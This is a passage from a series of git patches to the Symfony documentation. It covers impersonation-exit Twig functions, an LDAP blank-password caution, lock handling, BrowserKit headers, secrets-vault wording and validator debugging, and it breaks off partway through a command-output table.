 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index b4074f53a7f..d9d2093b5c3 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -393,7 +393,8 @@ will share identical locators among all the services referencing them::
 
     use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-
+    use Symfony\Component\DependencyInjection\Reference;
+    
     public function process(ContainerBuilder $container)
     {
         // ...

From b7bd5728b15b89a32ea79eebe737abf948a256e1 Mon Sep 17 00:00:00 2001
From: Damien Fayet <damien.fayet@manomano.com>
Date: Sun, 6 Sep 2020 20:20:39 +0200
Subject: [PATCH 1081/7107] Leave impersonation functions

---
 reference/twig_reference.rst    | 27 +++++++++++++++++++++++++++
 security/impersonating_user.rst |  2 +-
 2 files changed, 28 insertions(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4a97ab73308..4e05024cb1b 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -267,6 +267,33 @@ expression
 Creates an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` related
 to the :doc:`ExpressionLanguage component </components/expression_language>`.
 
+impersonation_exit_path
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ impersonation_exit_path(exitTo = null) }}
+
+``exitTo`` *(optional)*
+    **type**: ``string``
+
+Generates a relative URL to exit impersonation. If `exitTo` is specified it will use its value to build the URl,
+elsewhere it will use the current URI.
+If we are not impersonating a user, it will return an empty string.
+
+impersonation_exit_url
+~~~~~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ impersonation_exit_url(exitTo = null) }}
+
+``exitTo`` *(optional)*
+    **type**: ``string``
+
+Equal to the `impersonation_exit_path`_ function, but it'll generate an absolute URL
+instead of a relative one.
+
 Form Related Functions
 ~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 8ab25dab9a6..4ea6482f5f0 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -94,7 +94,7 @@ instance, to show a link to exit impersonation in a template:
 .. code-block:: html+twig
 
     {% if is_granted('IS_IMPERSONATOR') %}
-        <a href="{{ path('homepage', {'_switch_user': '_exit'}) }}">Exit impersonation</a>
+        <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a>
     {% endif %}
 
 .. versionadded:: 5.1

From b830395958832d75bb452eeb95440a41101abbde Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 4 Sep 2020 18:27:03 +0200
Subject: [PATCH 1082/7107] Fix path to preload file

---
 performance.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 3fd0efc43c9..e971699b21b 100644
--- a/performance.rst
+++ b/performance.rst
@@ -119,7 +119,9 @@ The preload file path is the same as the compiled service container but with the
 .. code-block:: ini
 
     ; php.ini
-    opcache.preload=/path/to/project/var/cache/prod/srcApp_KernelProdContainer.preload.php
+    opcache.preload=/path/to/project/src/preload.php
+
+This file is generated by the ``cache:clear`` command.
 
 .. _performance-configure-opcache:
 

From bb0b55b7cbc9f5b8785e264b36e1e086fde248d9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 7 Sep 2020 09:45:50 +0200
Subject: [PATCH 1083/7107] do not document adding attachments through URLs

---
 mailer.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b7d82050c52..fa737357967 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -299,9 +299,6 @@ Use the ``attachFromPath()`` method to attach files that exist on your file syst
         ->attachFromPath('/path/to/documents/privacy.pdf', 'Privacy Policy')
         // optionally you can provide an explicit MIME type (otherwise it's guessed)
         ->attachFromPath('/path/to/documents/contract.doc', 'Contract', 'application/msword')
-        // you can also use an absolute URL if your PHP config allows getting URLs using fopen()
-        // (this is not recommended because your application may or may not work depending on PHP config)
-        ->attachFromPath('http://example.com/path/to/documents/contract.doc', 'Contract', 'application/msword')
     ;
 
 Alternatively you can use the ``attach()`` method to attach contents from a stream::

From fc6f6b0ed0c26dbf8993f6dfefa5a5bd4c9035ee Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Sun, 6 Sep 2020 08:22:14 -0400
Subject: [PATCH 1084/7107] typo

---
 form/create_custom_field_type.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 1840de03231..57c7a69eec4 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -64,7 +64,7 @@ check out the `ChoiceType`_ class.
     The PHP class extension mechanism and the Symfony form field extension
     mechanism are not the same. The parent type returned in ``getParent()`` is
     what Symfony uses to build and manage the field type. Making the PHP class
-    extend from ``AbstractType`` is only a convenience way of implementing the
+    extend from ``AbstractType`` is only a convenient way of implementing the
     required ``FormTypeInterface``.
 
 There are three methods that are particularly important:

From 539d22db9f4c5b89929a89afd2a07a09ea6fa2e2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Mon, 7 Sep 2020 09:52:24 +0200
Subject: [PATCH 1085/7107] Add a caution about bind with empty string

---
 components/ldap.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index 73963d5f243..8e73b077760 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -74,6 +74,10 @@ distinguished name (DN) and the password of a user::
 
     $ldap->bind($dn, $password);
 
+.. caution::
+
+    When the LDAP server allows unauthenticated binds, a blank password will always be valid.
+
 Once bound (or if you enabled anonymous authentication on your
 LDAP server), you may query the LDAP server using the
 :method:`Symfony\\Component\\Ldap\\Ldap::query` method::

From 848a1be3367d07f4e85e5c81c1da90a794de5c41 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 5 Sep 2020 21:49:50 +0200
Subject: [PATCH 1086/7107] Update parent_services.rst

---
 service_container/parent_services.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index f5002eb90bf..3ef9caf19e0 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -147,9 +147,9 @@ All attributes on the parent service are shared with the child **except** for
 
 .. note::
 
-    If you have a ``_defaults`` section in your file, all child services are required
-    to explicitly override those values to avoid ambiguity. You will see a clear
-    error message about this.
+    If you have a ``_defaults`` section in your ``services.yaml`` file, all child
+    services are required to explicitly override those values to avoid ambiguity.
+    You will see a clear error message about this.
 
 .. tip::
 

From 4787bba5f8526b44c0d7bc07d311585ee2a3c080 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Sep 2020 14:48:19 +0200
Subject: [PATCH 1087/7107] Rewords

---
 reference/twig_reference.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4e05024cb1b..a12e712abce 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -277,9 +277,15 @@ impersonation_exit_path
 ``exitTo`` *(optional)*
     **type**: ``string``
 
-Generates a relative URL to exit impersonation. If `exitTo` is specified it will use its value to build the URl,
-elsewhere it will use the current URI.
-If we are not impersonating a user, it will return an empty string.
+.. versionadded:: 5.2
+
+    The ``impersonation_exit_path()` function was introduced in Symfony 5.2.
+
+Generates a URL that you can visit to exit :doc:`user impersonation </security/impersonating_user>`.
+After exiting impersonation, the user is redirected to the current URI. If you
+prefer to redirect to a different URI, define its value in the ``exitTo`` argument.
+
+If no user is being impersonated, the function returns an empty string.
 
 impersonation_exit_url
 ~~~~~~~~~~~~~~~~~~~~~~
@@ -291,8 +297,12 @@ impersonation_exit_url
 ``exitTo`` *(optional)*
     **type**: ``string``
 
-Equal to the `impersonation_exit_path`_ function, but it'll generate an absolute URL
-instead of a relative one.
+.. versionadded:: 5.2
+
+    The ``impersonation_exit_url()` function was introduced in Symfony 5.2.
+
+It's similar to the `impersonation_exit_path`_ function, but it generates
+absolute URLs instead of relative URLs.
 
 Form Related Functions
 ~~~~~~~~~~~~~~~~~~~~~~

From 5a70fcde3502149faab613868707e7c193389f2d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 7 Sep 2020 17:35:51 +0200
Subject: [PATCH 1088/7107] Update dom_crawler.rst

Since the expected `empty()` doesn't work, I explained how to check if a filter did find anything.
---
 components/dom_crawler.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 0460197b4af..aa5277f05ba 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -114,7 +114,8 @@ To remove a node the anonymous function must return false.
 .. note::
 
     All filter methods return a new :class:`Symfony\\Component\\DomCrawler\\Crawler`
-    instance with filtered content.
+    instance with the filtered content. To check if the filter actually
+    found something, use ``$crawler->count() > 0`` on this new crawler.
 
 Both the :method:`Symfony\\Component\\DomCrawler\\Crawler::filterXPath` and
 :method:`Symfony\\Component\\DomCrawler\\Crawler::filter` methods work with

From 28d3881018c6c503e4104ac379ffbe2e2ae537d8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 7 Sep 2020 17:20:24 +0200
Subject: [PATCH 1089/7107] Update dom_crawler.rst

---
 components/dom_crawler.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 0460197b4af..9879fb15c36 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -92,8 +92,8 @@ Using XPath expressions, you can select specific nodes within the document::
 
     ``DOMXPath::query`` is used internally to actually perform an XPath query.
 
-If you prefer CSS selectors over XPath, install the CssSelector component.
-It allows you to use jQuery-like selectors to traverse::
+If you prefer CSS selectors over XPath, install :doc:`/components/css_selector`.
+It allows you to use jQuery-like selectors::
 
     $crawler = $crawler->filter('body > p');
 
@@ -109,7 +109,7 @@ An anonymous function can be used to filter with more complex criteria::
             return ($i % 2) == 0;
         });
 
-To remove a node the anonymous function must return false.
+To remove a node, the anonymous function must return ``false``.
 
 .. note::
 

From 5233c2a4f283f9c863e0b6fd963ff89fa9f19b75 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Fri, 4 Sep 2020 23:45:41 +0200
Subject: [PATCH 1090/7107] Fix bad example of lock

---
 components/lock.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 19f1d2dbf8b..fdaf3b7686a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -117,7 +117,9 @@ method, the resource will stay locked until the timeout::
     // create an expiring lock that lasts 30 seconds
     $lock = $factory->createLock('charts-generation', 30);
 
-    $lock->acquire();
+    if (!$lock->acquire()) {
+        return;
+    }
     try {
         // perform a job during less than 30 seconds
     } finally {
@@ -136,7 +138,9 @@ to reset the TTL to its original value::
     // ...
     $lock = $factory->createLock('charts-generation', 30);
 
-    $lock->acquire();
+    if (!$lock->acquire()) {
+        return;
+    }
     try {
         while (!$finished) {
             // perform a small part of the job.
@@ -366,7 +370,9 @@ Using the above methods, a more robust code would be::
     // ...
     $lock = $factory->createLock('invoice-publication', 30);
 
-    $lock->acquire();
+    if (!$lock->acquire()) {
+        return;
+    }
     while (!$finished) {
         if ($lock->getRemainingLifetime() <= 5) {
             if ($lock->isExpired()) {

From caf53f0422311b3390915ba63ccfcaa373fe388e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Sep 2020 19:57:05 +0200
Subject: [PATCH 1091/7107] Minor reword

---
 http_client.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 50f76b14b8b..0d8648643b7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -631,9 +631,11 @@ according to the ``multipart/form-data`` content-type. The
         'body' => $formData->bodyToIterable(),
     ]);
 
-HttpClient will stream the upload of the body by default. This might not work with all
-servers, resulting in HTTP status code 411 ("Length Required") cause there is no
-``Content-Length`` header. In this case, just turn the body into a string::
+By default, HttpClient streams the body contents when uploading them. This might
+not work with all servers, resulting in HTTP status code 411 ("Length Required")
+because there is no ``Content-Length`` header. The solution is to turn the body
+into a string with the following method (which will increase memory consumption
+when the streams are large)::
 
     $client->request('POST', 'https://...', [
         // ...

From a4d71a2c82e12c17d5ab828ae5da1add67255b21 Mon Sep 17 00:00:00 2001
From: Ian Littman <iansltx@gmail.com>
Date: Fri, 4 Sep 2020 01:31:46 -0500
Subject: [PATCH 1092/7107] Add information about HttpBrowser header handling

---
 components/browser_kit.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index d248b7de939..ffd49aa2483 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -310,6 +310,30 @@ dedicated web crawler or scraper such as `Goutte`_::
     $openPullRequests = trim($browser->clickLink('Pull requests')->filter(
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
+    
+Dealing with Headers
+~~~~~~~~~~~~~~~~~~~~
+
+The fifth parameter of `request()` accepts an array of headers in the same format
+you'd see in a FastCGI request: all-upper-case, dashes replaced with underscores,
+prefixed with `HTTP_`. Array keys are lower-cased, with `HTTP_` stripped, and
+underscores turned to dashes, before saving those headers to the request.
+
+If you're making a request to an application that has special rules about header
+capitalization or punctuation, you'll want to override HttpBrowser's `getHeaders()`
+method, which takes a Request object and returns an asociative array of headers.
+For example::
+
+    protected function getHeaders(Request $request): array
+    {
+        $headers = parent::getHeaders($request);
+        if (isset($request->getServer()['api_key'])) {
+            $headers['api_key'] = $request->getServer()['api_key'];
+        }
+        return $headers;
+    }
+    
+This override is available as of Symfony 5.2.
 
 Learn more
 ----------

From e3991444ab4c40b27066fc22fb4027087ea34c5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Sep 2020 20:09:27 +0200
Subject: [PATCH 1093/7107] Minor reword

---
 components/browser_kit.rst | 50 ++++++++++++++++++++------------------
 1 file changed, 26 insertions(+), 24 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index ffd49aa2483..b73783f95e0 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -161,6 +161,32 @@ provides access to the form properties (e.g. ``$form->getUri()``,
     // submit that form
     $crawler = $client->submit($form);
 
+Custom Header Handling
+~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``getHeaders()`` method was introduced in Symfony 5.2.
+
+The optional HTTP headers passed to the ``request()`` method follows the FastCGI
+request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``).
+Before saving those headers to the request, they are lower-cased, with ``HTTP_``
+stripped, and underscores turned to dashes.
+
+If you're making a request to an application that has special rules about header
+capitalization or punctuation, override the ``getHeaders()`` method, which must
+return an associative array of headers::
+
+    protected function getHeaders(Request $request): array
+    {
+        $headers = parent::getHeaders($request);
+        if (isset($request->getServer()['api_key'])) {
+            $headers['api_key'] = $request->getServer()['api_key'];
+        }
+
+        return $headers;
+    }
+
 Cookies
 -------
 
@@ -310,30 +336,6 @@ dedicated web crawler or scraper such as `Goutte`_::
     $openPullRequests = trim($browser->clickLink('Pull requests')->filter(
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
-    
-Dealing with Headers
-~~~~~~~~~~~~~~~~~~~~
-
-The fifth parameter of `request()` accepts an array of headers in the same format
-you'd see in a FastCGI request: all-upper-case, dashes replaced with underscores,
-prefixed with `HTTP_`. Array keys are lower-cased, with `HTTP_` stripped, and
-underscores turned to dashes, before saving those headers to the request.
-
-If you're making a request to an application that has special rules about header
-capitalization or punctuation, you'll want to override HttpBrowser's `getHeaders()`
-method, which takes a Request object and returns an asociative array of headers.
-For example::
-
-    protected function getHeaders(Request $request): array
-    {
-        $headers = parent::getHeaders($request);
-        if (isset($request->getServer()['api_key'])) {
-            $headers['api_key'] = $request->getServer()['api_key'];
-        }
-        return $headers;
-    }
-    
-This override is available as of Symfony 5.2.
 
 Learn more
 ----------

From 379b80df7da5c617a046206b2378becf5739dc90 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 3 Sep 2020 18:18:22 +0200
Subject: [PATCH 1094/7107] Update secrets.rst

---
 configuration/secrets.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index ad8f0bddeb9..4282a1497a1 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -70,15 +70,15 @@ This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
 Create or Update Secrets
 ------------------------
 
-Suppose you want to store your database password a secret. By using the
+Suppose you want to store your database password as a secret. By using the
 ``secrets:set`` command, you should add this secret to both the ``dev`` *and*
 ``prod`` vaults:
 
 .. code-block:: terminal
 
-    # the input is hidden as you type for security
+    # the input is hidden as you type for security reason
 
-    # set your a default development value (can be overridden locally)
+    # set your development value (default, can be overridden locally)
     $ php bin/console secrets:set DATABASE_PASSWORD
 
     # set your production value
@@ -106,7 +106,7 @@ Secret values can be referenced in the same way as
 accidentally define a secret *and* an environment variable with the same name:
 **environment variables override secrets**.
 
-If you stored a ``DATABASE_PASSWORD`` secret, you can reference by:
+If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
 
 .. configuration-block::
 
@@ -260,7 +260,7 @@ your secrets during deployment to the "local" vault:
     $ php bin/console secrets:decrypt-to-local --force --env=prod
 
 This will write all the decrypted secrets into the ``.env.prod.local`` file.
-After doing this, the decryption key does *not* need to remain on the server.
+After doing this, the decryption key does *not* need to remain on the server(s).
 
 Rotating Secrets
 ----------------

From 49fa6072a9844efe1b1ae7a498d73992238b0973 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Sep 2020 20:23:45 +0200
Subject: [PATCH 1095/7107] Tweak

---
 configuration/secrets.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 4282a1497a1..fb3b6da1578 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -76,9 +76,9 @@ Suppose you want to store your database password as a secret. By using the
 
 .. code-block:: terminal
 
-    # the input is hidden as you type for security reason
+    # the input is hidden as you type for security reasons
 
-    # set your development value (default, can be overridden locally)
+    # set your default development value (can be overridden locally)
     $ php bin/console secrets:set DATABASE_PASSWORD
 
     # set your production value
@@ -238,7 +238,7 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
 1) Uploading the file:
 
 The first option is to copy the **production decryption key** -
-``config/secrets/prod/prod.decrypt.private.php`` to your server(s).
+``config/secrets/prod/prod.decrypt.private.php`` to your server.
 
 2) Using an Environment Variable
 

From 3371108b6a7cfe55d3f2e8b83d5ba5f9099fb9da Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 3 Sep 2020 18:04:24 +0200
Subject: [PATCH 1096/7107] Update best_practices.rst

---
 best_practices.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 004810a0c5c..9afabcb310e 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -52,7 +52,8 @@ self-explanatory and not coupled to Symfony:
     ├─ config/
     │  ├─ packages/
     │  └─ services.yaml
-    └─ public/
+    ├─ migrations/
+    ├─ public/
     │  ├─ build/
     │  └─ index.php
     ├─ src/
@@ -63,7 +64,6 @@ self-explanatory and not coupled to Symfony:
     │  ├─ Entity/
     │  ├─ EventSubscriber/
     │  ├─ Form/
-    │  ├─ Migrations/
     │  ├─ Repository/
     │  ├─ Security/
     │  └─ Twig/

From 01594874ed64345299c06aa0f4e8c106f602a17e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Sep 2020 20:31:45 +0200
Subject: [PATCH 1097/7107] Minor tweak

---
 bundles/override.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/bundles/override.rst b/bundles/override.rst
index 628464d8349..c583ffb5af9 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -53,9 +53,10 @@ inside a :doc:`compiler pass </service_container/compiler_passes>`.
 Entities & Entity Mapping
 -------------------------
 
-Entity mapping can only be overridden if a bundle provides a mapped superclass (such as the ``User`` entity in the
-FOSUserBundle). It's possible to override attributes and associations in this way. Learn more
-about this feature and its limitations in `the Doctrine documentation`_.
+Overriding entity mapping is only possible if a bundle provides a mapped
+superclass (such as the ``User`` entity in the FOSUserBundle). It's possible to
+override attributes and associations in this way. Learn more about this feature
+and its limitations in `the Doctrine documentation`_.
 
 Forms
 -----

From 399ed2be5bb2dbf0807e7d1ea47f35b72873f475 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Rogier?= <sebrogier@gmail.com>
Date: Thu, 27 Aug 2020 16:39:26 +0200
Subject: [PATCH 1098/7107] Add documentation about impersonating users with an
 HTTP Header

---
 security/impersonating_user.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 634052722a5..308ed5b1e58 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -72,6 +72,11 @@ as the value to the current URL:
 
     http://example.com/somewhere?_switch_user=thomas
 
+.. tip::
+
+    Instead of adding a ``_switch_user`` query string parameter, you can pass
+    the username in a ``HTTP_X_SWITCH_USER`` header.
+
 To switch back to the original user, use the special ``_exit`` username:
 
 .. code-block:: text
@@ -197,7 +202,7 @@ Limiting User Switching
 
 If you need more control over user switching, you can use a security voter. First,
 configure ``switch_user`` to check for some new, custom attribute. This can be
-anything, but *cannot* start with ``ROLE_`` (to enforce that only your voter will 
+anything, but *cannot* start with ``ROLE_`` (to enforce that only your voter will
 be called):
 
 .. configuration-block::

From fca061e3e613d622a83fe558915f57d7e97762f9 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Sun, 23 Aug 2020 19:54:18 +0200
Subject: [PATCH 1099/7107] Update using_components.rst

---
 components/using_components.rst | 22 ++++++++++++++++------
 1 file changed, 16 insertions(+), 6 deletions(-)

diff --git a/components/using_components.rst b/components/using_components.rst
index 0b77e4f6a4e..0b9bcde5083 100644
--- a/components/using_components.rst
+++ b/components/using_components.rst
@@ -20,7 +20,7 @@ Using the Finder Component
 
 **1.** If you're creating a new project, create a new empty directory for it.
 
-**2.** Open a terminal and use Composer to grab the library.
+**2.** Open a terminal, step into this directory and use Composer to grab the library.
 
 .. code-block:: terminal
 
@@ -43,10 +43,18 @@ the ``vendor/autoload.php`` file that was generated by Composer. This file
 takes care of autoloading all of the libraries so that you can use them
 immediately::
 
-    // File example: src/script.php
-
-    // update this to the path to the "vendor/"
-    // directory, relative to this file
+    // Project structure example:
+    // my_project/
+    //     data/
+    //         ...              # Some project data
+    //     src/
+    //         my_script.php    # Main entry point
+    //     vendor/
+    //         autoload.php     # Autoloader generated by Composer
+    //         ...              # Packages downloaded by Composer
+
+    // File example: src/my_script.php
+    // Autoloader relative path to this PHP file
     require_once __DIR__.'/../vendor/autoload.php';
 
     use Symfony\Component\Finder\Finder;
@@ -54,15 +62,17 @@ immediately::
     $finder = new Finder();
     $finder->in('../data/');
 
-    // ...
+    // rest of your PHP code...
 
 Now what?
 ---------
 
 Now, the component is installed and autoloaded. Read the specific component's
 documentation to find out more about how to use it.
+All `Symfony Components`_ are documented here as standalone libraries.
 
 And have fun!
 
 .. _Composer: https://getcomposer.org
 .. _Install Composer: https://getcomposer.org/download/
+.. _Symfony Components: https://symfony.com/components

From 1081d63ac8a61bcee4e1fced0f8a28868568207b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Sep 2020 20:48:40 +0200
Subject: [PATCH 1100/7107] Tweak

---
 components/using_components.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/using_components.rst b/components/using_components.rst
index 0b9bcde5083..31a0f24d1be 100644
--- a/components/using_components.rst
+++ b/components/using_components.rst
@@ -69,10 +69,8 @@ Now what?
 
 Now, the component is installed and autoloaded. Read the specific component's
 documentation to find out more about how to use it.
-All `Symfony Components`_ are documented here as standalone libraries.
 
 And have fun!
 
 .. _Composer: https://getcomposer.org
 .. _Install Composer: https://getcomposer.org/download/
-.. _Symfony Components: https://symfony.com/components

From 63d7ffb152fd0276c64aea3faa6b8c611600056f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Sep 2020 20:51:06 +0200
Subject: [PATCH 1101/7107] Added the missing versionadded directive

---
 messenger.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 677a2cf7dce..7518a22488e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -725,10 +725,13 @@ and should not be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\UnrecoverableMessageHandlingException`,
 the message will not be retried.
 
-
 Forcing Retrying
 ~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+    The ``RecoverableMessageHandlingException`` was introduced in Symfony 5.1.
+
 Sometimes handling a message must fail in a way that you *know* is temporary
 and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,

From 69e8087b7a8825bc4ecfa342f998d8bfdece9c87 Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Tue, 8 Sep 2020 00:10:19 +0200
Subject: [PATCH 1102/7107] Link to the "real" component overview

---
 components/index.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/index.rst b/components/index.rst
index 14f7e7b6f51..bf28bf3b5d8 100644
--- a/components/index.rst
+++ b/components/index.rst
@@ -1,9 +1,16 @@
 The Components
 ==============
 
+.. seealso::
+
+    See the dedicated `Symfony Components`_ webpage for a full overview of decoupled
+    and reusable Symfony components.
+
 .. toctree::
     :maxdepth: 1
     :glob:
 
     using_components
     *
+
+.. _`Symfony Components`: https://symfony.com/components

From 940b4021829d638a63dc4c32ded08c4802316ec9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFc=20Fr=C3=A9mont?= <lc.fremont@gmail.com>
Date: Tue, 8 Sep 2020 09:44:14 +0200
Subject: [PATCH 1103/7107] Debugging the validator constraints

---
 validation.rst | 75 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 75 insertions(+)

diff --git a/validation.rst b/validation.rst
index fd18f003d56..14aab162aae 100644
--- a/validation.rst
+++ b/validation.rst
@@ -719,6 +719,81 @@ constraint that's applied to the class itself. When that class is validated,
 methods specified by that constraint are simply executed so that each can
 provide more custom validation.
 
+Debugging the constraints
+-------------------------
+
+The ``debug:validator 'App\Entity\DummyClassOne'`` command lists validation constraints of ``App\Entity\DummyClassOne`` resource.
+
+.. code-block:: terminal
+
+    $ php bin/console debug:validator 'App\Entity\DummyClassOne'
+
+        App\Entity\DummyClassOne
+        -----------------------------------------------------
+
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+        | Property      | Name                                             | Groups  | Options                                                    |
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+        | firstArgument | Symfony\Component\Validator\Constraints\NotBlank | Default | [                                                          |
+        |               |                                                  |         |   "message" => "This value should not be blank.",          |
+        |               |                                                  |         |   "allowNull" => false,                                    |
+        |               |                                                  |         |   "normalizer" => null,                                    |
+        |               |                                                  |         |   "payload" => null                                        |
+        |               |                                                  |         | ]                                                          |
+        | firstArgument | Symfony\Component\Validator\Constraints\Email    | Default | [                                                          |
+        |               |                                                  |         |   "message" => "This value is not a valid email address.", |
+        |               |                                                  |         |   "mode" => null,                                          |
+        |               |                                                  |         |   "normalizer" => null,                                    |
+        |               |                                                  |         |   "payload" => null                                        |
+        |               |                                                  |         | ]                                                          |
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+
+You can also list validation constraints for all resources of a path.
+
+.. code-block:: terminal
+
+    $ php bin/console debug:validator src/Entity
+
+        App\Entity\DummyClassOne
+        ------------------------
+
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+        | Property      | Name                                             | Groups  | Options                                                    |
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+        | firstArgument | Symfony\Component\Validator\Constraints\NotBlank | Default | [                                                          |
+        |               |                                                  |         |   "message" => "This value should not be blank.",          |
+        |               |                                                  |         |   "allowNull" => false,                                    |
+        |               |                                                  |         |   "normalizer" => null,                                    |
+        |               |                                                  |         |   "payload" => null                                        |
+        |               |                                                  |         | ]                                                          |
